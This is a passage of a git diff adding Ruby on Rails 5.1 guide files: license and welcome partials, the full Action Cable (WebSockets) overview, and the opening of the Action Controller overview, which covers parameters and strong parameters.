+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/5-1-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/5-1-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/5-1-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/5-1-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/5-1-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/5-1-stable/activerecord/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/5-1-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/5-1-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/5-1-stable/activejob/CHANGELOG.md
diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb
new file mode 100644
index 0000000000..d22f016948
--- /dev/null
+++ b/guides/source/_license.html.erb
@@ -0,0 +1,2 @@
+<p>This work is licensed under a <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International</a> License</p>
+<p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
new file mode 100644
index 0000000000..8afec00018
--- /dev/null
+++ b/guides/source/_welcome.html.erb
@@ -0,0 +1,25 @@
+<h2>Ruby on Rails Guides (<%= @edge ? @edge[0, 7] : @version %>)</h2>
+
+<% if @edge %>
+<p>
+  These are <b>Edge Guides</b>, based on <a href="https://github.com/rails/rails/tree/<%= @edge %>">master@<%= @edge[0, 7] %></a>.
+</p>
+<p>
+  If you are looking for the ones for the stable version, please check
+  <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead.
+</p>
+<% else %>
+<p>
+  These are the new guides for Rails 5.1 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
+  These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.
+</p>
+<% end %>
+<p>
+The guides for earlier releases:
+<a href="http://guides.rubyonrails.org/v5.0/">Rails 5.0</a>,
+<a href="http://guides.rubyonrails.org/v4.2/">Rails 4.2</a>,
+<a href="http://guides.rubyonrails.org/v4.1/">Rails 4.1</a>,
+<a href="http://guides.rubyonrails.org/v4.0/">Rails 4.0</a>,
+<a href="http://guides.rubyonrails.org/v3.2/">Rails 3.2</a>, and
+<a href="http://guides.rubyonrails.org/v2.3/">Rails 2.3</a>.
+</p>
diff --git a/guides/source/action_cable_overview.md b/guides/source/action_cable_overview.md
new file mode 100644
index 0000000000..50a28571b4
--- /dev/null
+++ b/guides/source/action_cable_overview.md
@@ -0,0 +1,691 @@
+Action Cable Overview
+=====================
+
+In this guide you will learn how Action Cable works and how to use WebSockets to
+incorporate real-time features into your Rails application.
+
+After reading this guide, you will know:
+
+* What Action Cable is and its integration on backend and frontend
+* How to setup Action Cable
+* How to setup channels
+* Deployment and Architecture setup for running Action Cable
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Action Cable seamlessly integrates
+[WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your
+Rails application. It allows for real-time features to be written in Ruby in the
+same style and form as the rest of your Rails application, while still being
+performant and scalable. It's a full-stack offering that provides both a
+client-side JavaScript framework and a server-side Ruby framework. You have
+access to your full domain model written with Active Record or your ORM of
+choice.
+
+What is Pub/Sub
+---------------
+
+[Pub/Sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern), or
+Publish-Subscribe, refers to a message queue paradigm whereby senders of
+information (publishers), send data to an abstract class of recipients
+(subscribers), without specifying individual recipients. Action Cable uses this
+approach to communicate between the server and many clients.
+
+## Server-Side Components
+
+### Connections
+
+*Connections* form the foundation of the client-server relationship. For every
+WebSocket accepted by the server, a connection object is instantiated. This
+object becomes the parent of all the *channel subscriptions* that are created
+from there on. The connection itself does not deal with any specific application
+logic beyond authentication and authorization. The client of a WebSocket
+connection is called the connection *consumer*. An individual user will create
+one consumer-connection pair per browser tab, window, or device they have open.
+
+Connections are instances of `ApplicationCable::Connection`. In this class, you
+authorize the incoming connection, and proceed to establish it if the user can
+be identified.
+
+#### Connection Setup
+
+```ruby
+# app/channels/application_cable/connection.rb
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_user
+
+    def connect
+      self.current_user = find_verified_user
+    end
+
+    private
+      def find_verified_user
+        if verified_user = User.find_by(id: cookies.signed[:user_id])
+          verified_user
+        else
+          reject_unauthorized_connection
+        end
+      end
+  end
+end
+```
+
+Here `identified_by` is a connection identifier that can be used to find the
+specific connection later. Note that anything marked as an identifier will automatically
+create a delegate by the same name on any channel instances created off the connection.
+
+This example relies on the fact that you will already have handled authentication of the user
+somewhere else in your application, and that a successful authentication sets a signed
+cookie with the user ID.
+
+The cookie is then automatically sent to the connection instance when a new connection
+is attempted, and you use that to set the `current_user`. By identifying the connection
+by this same current user, you're also ensuring that you can later retrieve all open
+connections by a given user (and potentially disconnect them all if the user is deleted
+or unauthorized).
+
+### Channels
+
+A *channel* encapsulates a logical unit of work, similar to what a controller does in a
+regular MVC setup. By default, Rails creates a parent `ApplicationCable::Channel` class
+for encapsulating shared logic between your channels.
+
+#### Parent Channel Setup
+
+```ruby
+# app/channels/application_cable/channel.rb
+module ApplicationCable
+  class Channel < ActionCable::Channel::Base
+  end
+end
+```
+
+Then you would create your own channel classes. For example, you could have a
+`ChatChannel` and an `AppearanceChannel`:
+
+```ruby
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+end
+
+# app/channels/appearance_channel.rb
+class AppearanceChannel < ApplicationCable::Channel
+end
+```
+
+A consumer could then be subscribed to either or both of these channels.
+
+#### Subscriptions
+
+Consumers subscribe to channels, acting as *subscribers*. Their connection is
+called a *subscription*. Produced messages are then routed to these channel
+subscriptions based on an identifier sent by the cable consumer.
+
+```ruby
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  # Called when the consumer has successfully
+  # become a subscriber of this channel.
+  def subscribed
+  end
+end
+```
+
+## Client-Side Components
+
+### Connections
+
+Consumers require an instance of the connection on their side. This can be
+established using the following JavaScript, which is generated by default by Rails:
+
+#### Connect Consumer
+
+```js
+// app/assets/javascripts/cable.js
+//= require action_cable
+//= require_self
+//= require_tree ./channels
+
+(function() {
+  this.App || (this.App = {});
+
+  App.cable = ActionCable.createConsumer();
+}).call(this);
+```
+
+This will ready a consumer that'll connect against `/cable` on your server by default.
+The connection won't be established until you've also specified at least one subscription
+you're interested in having.
+
+#### Subscriber
+
+A consumer becomes a subscriber by creating a subscription to a given channel:
+
+```coffeescript
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }
+
+# app/assets/javascripts/cable/subscriptions/appearance.coffee
+App.cable.subscriptions.create { channel: "AppearanceChannel" }
+```
+
+While this creates the subscription, the functionality needed to respond to
+received data will be described later on.
+
+A consumer can act as a subscriber to a given channel any number of times. For
+example, a consumer could subscribe to multiple chat rooms at the same time:
+
+```coffeescript
+App.cable.subscriptions.create { channel: "ChatChannel", room: "1st Room" }
+App.cable.subscriptions.create { channel: "ChatChannel", room: "2nd Room" }
+```
+
+## Client-Server Interactions
+
+### Streams
+
+*Streams* provide the mechanism by which channels route published content
+(broadcasts) to their subscribers.
+
+```ruby
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+end
+```
+
+If you have a stream that is related to a model, then the broadcasting used
+can be generated from the model and channel. The following example would
+subscribe to a broadcasting like `comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE`
+
+```ruby
+class CommentsChannel < ApplicationCable::Channel
+  def subscribed
+    post = Post.find(params[:id])
+    stream_for post
+  end
+end
+```
+
+You can then broadcast to this channel like this:
+
+```ruby
+CommentsChannel.broadcast_to(@post, @comment)
+```
+
+### Broadcasting
+
+A *broadcasting* is a pub/sub link where anything transmitted by a publisher
+is routed directly to the channel subscribers who are streaming that named
+broadcasting. Each channel can be streaming zero or more broadcastings.
+
+Broadcastings are purely an online queue and time dependent. If a consumer is
+not streaming (subscribed to a given channel), they'll not get the broadcast
+should they connect later.
+
+Broadcasts are called elsewhere in your Rails application:
+
+```ruby
+WebNotificationsChannel.broadcast_to(
+  current_user,
+  title: 'New things!',
+  body: 'All the news fit to print'
+)
+```
+
+The `WebNotificationsChannel.broadcast_to` call places a message in the current
+subscription adapter (by default `redis` for production and `async` for development and
+test environments)'s pubsub queue under a separate broadcasting name for each user.
+For a user with an ID of 1, the broadcasting name would be `web_notifications:1`.
+
+The channel has been instructed to stream everything that arrives at
+`web_notifications:1` directly to the client by invoking the `received`
+callback.
+
+### Subscriptions
+
+When a consumer is subscribed to a channel, they act as a subscriber. This
+connection is called a subscription. Incoming messages are then routed to
+these channel subscriptions based on an identifier sent by the cable consumer.
+
+```coffeescript
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+# Assumes you've already requested the right to send web notifications
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    @appendLine(data)
+
+  appendLine: (data) ->
+    html = @createLine(data)
+    $("[data-chat-room='Best Room']").append(html)
+
+  createLine: (data) ->
+    """
+    <article class="chat-line">
+      <span class="speaker">#{data["sent_by"]}</span>
+      <span class="body">#{data["body"]}</span>
+    </article>
+    """
+```
+
+### Passing Parameters to Channels
+
+You can pass parameters from the client side to the server side when creating a
+subscription. For example:
+
+```ruby
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+end
+```
+
+An object passed as the first argument to `subscriptions.create` becomes the
+params hash in the cable channel. The keyword `channel` is required:
+
+```coffeescript
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    @appendLine(data)
+
+  appendLine: (data) ->
+    html = @createLine(data)
+    $("[data-chat-room='Best Room']").append(html)
+
+  createLine: (data) ->
+    """
+    <article class="chat-line">
+      <span class="speaker">#{data["sent_by"]}</span>
+      <span class="body">#{data["body"]}</span>
+    </article>
+    """
+```
+
+```ruby
+# Somewhere in your app this is called, perhaps
+# from a NewCommentJob.
+ActionCable.server.broadcast(
+  "chat_#{room}",
+  sent_by: 'Paul',
+  body: 'This is a cool chat app.'
+)
+```
+
+### Rebroadcasting a Message
+
+A common use case is to *rebroadcast* a message sent by one client to any
+other connected clients.
+
+```ruby
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+
+  def receive(data)
+    ActionCable.server.broadcast("chat_#{params[:room]}", data)
+  end
+end
+```
+
+```coffeescript
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    # data => { sent_by: "Paul", body: "This is a cool chat app." }
+
+App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })
+```
+
+The rebroadcast will be received by all connected clients, _including_ the
+client that sent the message. Note that params are the same as they were when
+you subscribed to the channel.
+
+## Full-Stack Examples
+
+The following setup steps are common to both examples:
+
+  1. [Setup your connection](#connection-setup).
+  2. [Setup your parent channel](#parent-channel-setup).
+  3. [Connect your consumer](#connect-consumer).
+
+### Example 1: User Appearances
+
+Here's a simple example of a channel that tracks whether a user is online or not
+and what page they're on. (This is useful for creating presence features like showing
+a green dot next to a user name if they're online).
+
+Create the server-side appearance channel:
+
+```ruby
+# app/channels/appearance_channel.rb
+class AppearanceChannel < ApplicationCable::Channel
+  def subscribed
+    current_user.appear
+  end
+
+  def unsubscribed
+    current_user.disappear
+  end
+
+  def appear(data)
+    current_user.appear(on: data['appearing_on'])
+  end
+
+  def away
+    current_user.away
+  end
+end
+```
+
+When a subscription is initiated the `subscribed` callback gets fired and we
+take that opportunity to say "the current user has indeed appeared". That
+appear/disappear API could be backed by Redis, a database, or whatever else.
+
+Create the client-side appearance channel subscription:
+
+```coffeescript
+# app/assets/javascripts/cable/subscriptions/appearance.coffee
+App.cable.subscriptions.create "AppearanceChannel",
+  # Called when the subscription is ready for use on the server.
+  connected: ->
+    @install()
+    @appear()
+
+  # Called when the WebSocket connection is closed.
+  disconnected: ->
+    @uninstall()
+
+  # Called when the subscription is rejected by the server.
+  rejected: ->
+    @uninstall()
+
+  appear: ->
+    # Calls `AppearanceChannel#appear(data)` on the server.
+    @perform("appear", appearing_on: $("main").data("appearing-on"))
+
+  away: ->
+    # Calls `AppearanceChannel#away` on the server.
+    @perform("away")
+
+
+  buttonSelector = "[data-behavior~=appear_away]"
+
+  install: ->
+    $(document).on "turbolinks:load.appearance", =>
+      @appear()
+
+    $(document).on "click.appearance", buttonSelector, =>
+      @away()
+      false
+
+    $(buttonSelector).show()
+
+  uninstall: ->
+    $(document).off(".appearance")
+    $(buttonSelector).hide()
+```
+
+##### Client-Server Interaction
+
+1. **Client** connects to the **Server** via `App.cable =
+ActionCable.createConsumer("ws://cable.example.com")`. (`cable.js`). The
+**Server** identifies this connection by `current_user`.
+
+2. **Client** subscribes to the appearance channel via
+`App.cable.subscriptions.create(channel: "AppearanceChannel")`. (`appearance.coffee`)
+
+3. **Server** recognizes a new subscription has been initiated for the
+appearance channel and runs its `subscribed` callback, calling the `appear`
+method on `current_user`. (`appearance_channel.rb`)
+
+4. **Client** recognizes that a subscription has been established and calls
+`connected` (`appearance.coffee`) which in turn calls `@install` and `@appear`.
+`@appear` calls `AppearanceChannel#appear(data)` on the server, and supplies a
+data hash of `{ appearing_on: $("main").data("appearing-on") }`. This is
+possible because the server-side channel instance automatically exposes all
+public methods declared on the class (minus the callbacks), so that these can be
+reached as remote procedure calls via a subscription's `perform` method.
+
+5. **Server** receives the request for the `appear` action on the appearance
+channel for the connection identified by `current_user`
+(`appearance_channel.rb`). **Server** retrieves the data with the
+`:appearing_on` key from the data hash and sets it as the value for the `:on`
+key being passed to `current_user.appear`.
+
+### Example 2: Receiving New Web Notifications
+
+The appearance example was all about exposing server functionality to
+client-side invocation over the WebSocket connection. But the great thing
+about WebSockets is that it's a two-way street. So now let's show an example
+where the server invokes an action on the client.
+
+This is a web notification channel that allows you to trigger client-side
+web notifications when you broadcast to the right streams:
+
+Create the server-side web notifications channel:
+
+```ruby
+# app/channels/web_notifications_channel.rb
+class WebNotificationsChannel < ApplicationCable::Channel
+  def subscribed
+    stream_for current_user
+  end
+end
+```
+
+Create the client-side web notifications channel subscription:
+
+```coffeescript
+# app/assets/javascripts/cable/subscriptions/web_notifications.coffee
+# Client-side which assumes you've already requested
+# the right to send web notifications.
+App.cable.subscriptions.create "WebNotificationsChannel",
+  received: (data) ->
+    new Notification data["title"], body: data["body"]
+```
+
+Broadcast content to a web notification channel instance from elsewhere in your
+application:
+
+```ruby
+# Somewhere in your app this is called, perhaps from a NewCommentJob
+WebNotificationsChannel.broadcast_to(
+  current_user,
+  title: 'New things!',
+  body: 'All the news fit to print'
+)
+```
+
+The `WebNotificationsChannel.broadcast_to` call places a message in the current
+subscription adapter's pubsub queue under a separate broadcasting name for each
+user. For a user with an ID of 1, the broadcasting name would be
+`web_notifications:1`.
+
+The channel has been instructed to stream everything that arrives at
+`web_notifications:1` directly to the client by invoking the `received`
+callback. The data passed as argument is the hash sent as the second parameter
+to the server-side broadcast call, JSON encoded for the trip across the wire,
+and unpacked for the data argument arriving to `received`.
+
+### More Complete Examples
+
+See the [rails/actioncable-examples](https://github.com/rails/actioncable-examples)
+repository for a full example of how to setup Action Cable in a Rails app and adding channels.
+
+## Configuration
+
+Action Cable has two required configurations: a subscription adapter and allowed request origins.
+
+### Subscription Adapter
+
+By default, Action Cable looks for a configuration file in `config/cable.yml`.
+The file must specify an adapter for each Rails environment. See the
+[Dependencies](#dependencies) section for additional information on adapters.
+
+```yaml
+development:
+  adapter: async
+
+test:
+  adapter: async
+
+production:
+  adapter: redis
+  url: redis://10.10.3.153:6381
+  channel_prefix: appname_production
+```
+#### Adapter Configuration
+
+Below is a list of the subscription adapters available for end users.
+
+##### Async Adapter
+
+The async adapter is intended for development/testing and should not be used in production.
+
+##### Redis Adapter
+
+Action Cable contains two Redis adapters: "normal" Redis and Evented Redis. Both
+of the adapters require users to provide a URL pointing to the Redis server.
+Additionally, a channel_prefix may be provided to avoid channel name collisions
+when using the same Redis server for multiple applications. See the [Redis PubSub documentation](https://redis.io/topics/pubsub#database-amp-scoping) for more details.
+
+##### PostgreSQL Adapter
+
+The PostgreSQL adapter uses Active Record's connection pool, and thus the
+application's `config/database.yml` database configuration, for its connection.
+This may change in the future. [#27214](https://github.com/rails/rails/issues/27214)
+
+### Allowed Request Origins
+
+Action Cable will only accept requests from specified origins, which are
+passed to the server config as an array. The origins can be instances of
+strings or regular expressions, against which a check for match will be performed.
+
+```ruby
+config.action_cable.allowed_request_origins = ['http://rubyonrails.com', %r{http://ruby.*}]
+```
+
+To disable and allow requests from any origin:
+
+```ruby
+config.action_cable.disable_request_forgery_protection = true
+```
+
+By default, Action Cable allows all requests from localhost:3000 when running
+in the development environment.
+
+### Consumer Configuration
+
+To configure the URL, add a call to `action_cable_meta_tag` in your HTML layout
+HEAD. This uses a URL or path typically set via `config.action_cable.url` in the
+environment configuration files.
+
+### Other Configurations
+
+The other common option to configure, is the log tags applied to the
+per-connection logger. Here's an example that uses
+the user account id if available, else "no-account" while tagging:
+
+```ruby
+config.action_cable.log_tags = [
+  -> request { request.env['user_account_id'] || "no-account" },
+  :action_cable,
+  -> request { request.uuid }
+]
+```
+
+For a full list of all configuration options, see the
+`ActionCable::Server::Configuration` class.
+
+Also note that your server must provide at least the same number of database
+connections as you have workers. The default worker pool size is set to 4, so
+that means you have to make at least that available. You can change that in
+`config/database.yml` through the `pool` attribute.
+
+## Running Standalone Cable Servers
+
+### In App
+
+Action Cable can run alongside your Rails application. For example, to
+listen for WebSocket requests on `/websocket`, specify that path to
+`config.action_cable.mount_path`:
+
+```ruby
+# config/application.rb
+class Application < Rails::Application
+  config.action_cable.mount_path = '/websocket'
+end
+```
+
+You can use `App.cable = ActionCable.createConsumer()` to connect to the cable
+server if `action_cable_meta_tag` is invoked in the layout. A custom path is
+specified as first argument to `createConsumer` (e.g. `App.cable =
+ActionCable.createConsumer("/websocket")`).
+
+For every instance of your server you create and for every worker your server
+spawns, you will also have a new instance of Action Cable, but the use of Redis
+keeps messages synced across connections.
+
+### Standalone
+
+The cable servers can be separated from your normal application server. It's
+still a Rack application, but it is its own Rack application. The recommended
+basic setup is as follows:
+
+```ruby
+# cable/config.ru
+require_relative '../config/environment'
+Rails.application.eager_load!
+
+run ActionCable.server
+```
+
+Then you start the server using a binstub in `bin/cable` ala:
+
+```
+#!/bin/bash
+bundle exec puma -p 28080 cable/config.ru
+```
+
+The above will start a cable server on port 28080.
+
+### Notes
+
+The WebSocket server doesn't have access to the session, but it has
+access to the cookies. This can be used when you need to handle
+authentication. You can see one way of doing that with Devise in this [article](http://www.rubytutorial.io/actioncable-devise-authentication).
+
+## Dependencies
+
+Action Cable provides a subscription adapter interface to process its
+pubsub internals. By default, asynchronous, inline, PostgreSQL, evented
+Redis, and non-evented Redis adapters are included. The default adapter
+in new Rails applications is the asynchronous (`async`) adapter.
+
+The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby),
+[nio4r](https://github.com/celluloid/nio4r), and [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby).
+
+## Deployment
+
+Action Cable is powered by a combination of WebSockets and threads. Both the
+framework plumbing and user-specified channel work are handled internally by
+utilizing Ruby's native thread support. This means you can use all your regular
+Rails models with no problem, as long as you haven't committed any thread-safety sins.
+
+The Action Cable server implements the Rack socket hijacking API,
+thereby allowing the use of a multithreaded pattern for managing connections
+internally, irrespective of whether the application server is multi-threaded or not.
+
+Accordingly, Action Cable works with popular servers like Unicorn, Puma, and
+Passenger.
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
new file mode 100644
index 0000000000..7de6542f4a
--- /dev/null
+++ b/guides/source/action_controller_overview.md
@@ -0,0 +1,1218 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Action Controller Overview
+==========================
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application.
+
+After reading this guide, you will know:
+
+* How to follow the flow of a request through a controller.
+* How to restrict parameters passed to your controller.
+* How and why to store data in the session or cookies.
+* How to work with filters to execute code during request processing.
+* How to use Action Controller's built-in HTTP authentication.
+* How to stream data directly to the user's browser.
+* How to filter sensitive parameters so they do not appear in the application's log.
+* How to deal with exceptions that may be raised during request processing.
+
+--------------------------------------------------------------------------------
+
+What Does a Controller Do?
+--------------------------
+
+Action Controller is the C in MVC. After the router has determined which controller to use for a request, the controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
+
+For most conventional [RESTful](http://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middleman between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates user data to the model.
+
+NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html).
+
+Controller Naming Convention
+----------------------------
+
+The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. `ApplicationController`). For example, `ClientsController` is preferable to `ClientController`, `SiteAdminsController` is preferable to `SiteAdminController` or `SitesAdminsController`, and so on.
+
+Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and will keep URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details.
+
+NOTE: The controller naming convention differs from the naming convention of models, which are expected to be named in singular form.
+
+
+Methods and Actions
+-------------------
+
+A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+
+```ruby
+class ClientsController < ApplicationController
+  def new
+  end
+end
+```
+
+As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and call its `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:
+
+```ruby
+def new
+  @client = Client.new
+end
+```
+
+The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail.
+
+`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the [API documentation](http://api.rubyonrails.org/classes/ActionController.html) or in the source itself.
+
+Only public methods are callable as actions. It is a best practice to lower the visibility of methods (with `private` or `protected`) which are not intended to be actions, like auxiliary methods or filters.
+
+Parameters
+----------
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller:
+
+```ruby
+class ClientsController < ApplicationController
+  # This action uses query string parameters because it gets run
+  # by an HTTP GET request, but this does not make any difference
+  # to the way in which the parameters are accessed. The URL for
+  # this action would look like this in order to list activated
+  # clients: /clients?status=activated
+  def index
+    if params[:status] == "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.inactivated
+    end
+  end
+
+  # This action uses POST parameters. They are most likely coming
+  # from an HTML form which the user has submitted. The URL for
+  # this RESTful request will be "/clients", and the data will be
+  # sent as part of the request body.
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # This line overrides the default rendering behavior, which
+      # would have been to render the "create" view.
+      render "new"
+    end
+  end
+end
+```
+
+### Hash and Array Parameters
+
+The `params` hash is not limited to one-dimensional keys and values. It can contain nested arrays and hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+
+```
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+```
+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as the "[" and "]" characters are not allowed in URLs. Most of the time you don't have to worry about this because the browser will encode it for you, and Rails will decode it automatically, but if you ever find yourself having to send those requests to the server manually you should keep this in mind.
+
+The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+NOTE: Values such as `[nil]` or `[nil, nil, ...]` in `params` are replaced
+with `[]` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation)
+for more information.
+
+To send a hash, you include the key name inside the brackets:
+
+```html
+<form accept-charset="UTF-8" action="/clients" method="post">
+  <input type="text" name="client[name]" value="Acme" />
+  <input type="text" name="client[phone]" value="12345" />
+  <input type="text" name="client[address][postcode]" value="12345" />
+  <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+```
+
+When this form is submitted, the value of `params[:client]` will be `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Note the nested hash in `params[:client][:address]`.
+
+The `params` object acts like a Hash, but lets you use symbols and strings interchangeably as keys.
+
+### JSON parameters
+
+If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. If the "Content-Type" header of your request is set to "application/json", Rails will automatically load your parameters into the `params` hash, which you can access as you would normally.
+
+So for example, if you are sending this JSON content:
+
+```json
+{ "company": { "name": "acme", "address": "123 Carrot Street" } }
+```
+
+Your controller will receive `params[:company]` as `{ "name" => "acme", "address" => "123 Carrot Street" }`.
+
+Also, if you've turned on `config.wrap_parameters` in your initializer or called `wrap_parameters` in your controller, you can safely omit the root element in the JSON parameter. In this case, the parameters will be cloned and wrapped with a key chosen based on your controller's name. So the above JSON request can be written as:
+
+```json
+{ "name": "acme", "address": "123 Carrot Street" }
+```
+
+And, assuming that you're sending the data to `CompaniesController`, it would then be wrapped within the `:company` key like this:
+
+```ruby
+{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }
+```
+
+You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
+
+NOTE: Support for parsing XML parameters has been extracted into a gem named `actionpack-xml_parser`.
+
+### Routing Parameters
+
+The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id`, will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
+
+```ruby
+get '/clients/:status' => 'clients#index', foo: 'bar'
+```
+
+In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar", as if it were passed in the query string. Your controller will also receive `params[:action]` as "index" and `params[:controller]` as "clients".
+
+### `default_url_options`
+
+You can set global default parameters for URL generation by defining a method called `default_url_options` in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
+
+```ruby
+class ApplicationController < ActionController::Base
+  def default_url_options
+    { locale: I18n.locale }
+  end
+end
+```
+
+These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed to `url_for` calls.
+
+If you define `default_url_options` in `ApplicationController`, as in the example above, these defaults will be used for all URL generation. The method can also be defined in a specific controller, in which case it only affects URLs generated there.
+
+In a given request, the method is not actually called for every single generated URL; for performance reasons, the returned hash is cached, there is at most one invocation per request.
+
+### Strong Parameters
+
+With strong parameters, Action Controller parameters are forbidden to
+be used in Active Model mass assignments until they have been
+whitelisted. This means that you'll have to make a conscious decision about
+which attributes to allow for mass update. This is a better security
+practice to help prevent accidentally allowing users to update sensitive
+model attributes.
+
+In addition, parameters can be marked as required and will flow through a
+predefined raise/rescue flow that will result in a 400 Bad Request being
+returned if not all required parameters are passed in.
+
+```ruby
+class PeopleController < ActionController::Base
+  # This will raise an ActiveModel::ForbiddenAttributesError exception
+  # because it's using mass assignment without an explicit permit
+  # step.
+  def create
+    Person.create(params[:person])
+  end
+
+  # This will pass with flying colors as long as there's a person key
+  # in the parameters, otherwise it'll raise a
+  # ActionController::ParameterMissing exception, which will get
+  # caught by ActionController::Base and turned into a 400 Bad
+  # Request error.
+  def update
+    person = current_account.people.find(params[:id])
+    person.update!(person_params)
+    redirect_to person
+  end
+
+  private
+    # Using a private method to encapsulate the permissible parameters
+    # is just a good pattern since you'll be able to reuse the same
+    # permit list between create and update. Also, you can specialize
+    # this method with per-user checking of permissible attributes.
+    def person_params
+      params.require(:person).permit(:name, :age)
+    end
+end
+```
+
+#### Permitted Scalar Values
+
+Given
+
+```ruby
+params.permit(:id)
+```
+
+the key `:id` will pass the whitelisting if it appears in `params` and
+it has a permitted scalar value associated. Otherwise, the key is going
+to be filtered out, so arrays, hashes, or any other objects cannot be
+injected.
+
+The permitted scalar types are `String`, `Symbol`, `NilClass`,
+`Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`,
+`StringIO`, `IO`, `ActionDispatch::Http::UploadedFile`, and
+`Rack::Test::UploadedFile`.
+
